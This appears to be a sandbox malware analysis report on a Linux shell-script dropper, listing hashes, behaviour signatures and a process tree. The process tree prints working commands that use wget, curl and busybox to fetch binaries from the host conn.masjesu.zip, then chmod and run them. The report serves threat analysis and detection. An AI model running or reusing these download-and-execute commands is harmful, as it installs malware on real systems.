Analysis

  • max time kernel
    21s
  • max time network
    91s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/11/2024, 02:52

General

  • Target

    adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh

  • Size

    10KB

  • MD5

    5a9df3a7e96e8b67c0bceaf6d54c8d16

  • SHA1

    f664c05a8c8a28ad1fcf2911316398d8a99c3c45

  • SHA256

    adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e

  • SHA512

    b9cc178010167b92998a191eab914d022ef2493791086cfb2933e6a85ab3067d29e230544b76b0058420b55a237d207c7b8f80782b070c231a4cc4806cfaf84f

  • SSDEEP

    96:YhZ6LB5zLEIxLttEeOPzPOTL888A8kP3wLA2AmAsuxpfzDLDnDqUO+YaXrW6mHEt:571ZTkcnXsu3PDqLJE4nNnXsUzPDw

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh
    /tmp/adb94fe911b26a17d9fd932501da4e2c87b61c42228c50db8ac095b4e985567e.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
          • System Network Configuration Discovery
          PID:706
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
          • System Network Configuration Discovery
          PID:726
        • /bin/chmod
          chmod 777 rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          ./rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
            PID:730
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            2⤵
            • System Network Configuration Discovery
            PID:731
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            2⤵
            • System Network Configuration Discovery
            PID:735
          • /bin/chmod
            chmod 777 d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            ./d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
              2⤵
              • System Network Configuration Discovery
              PID:739

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B

                  Filesize

                  153B

                  MD5

                  998368d7c95ea4293237f2320546e440

                  SHA1

                  30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                  SHA256

                  533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                  SHA512

                  648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97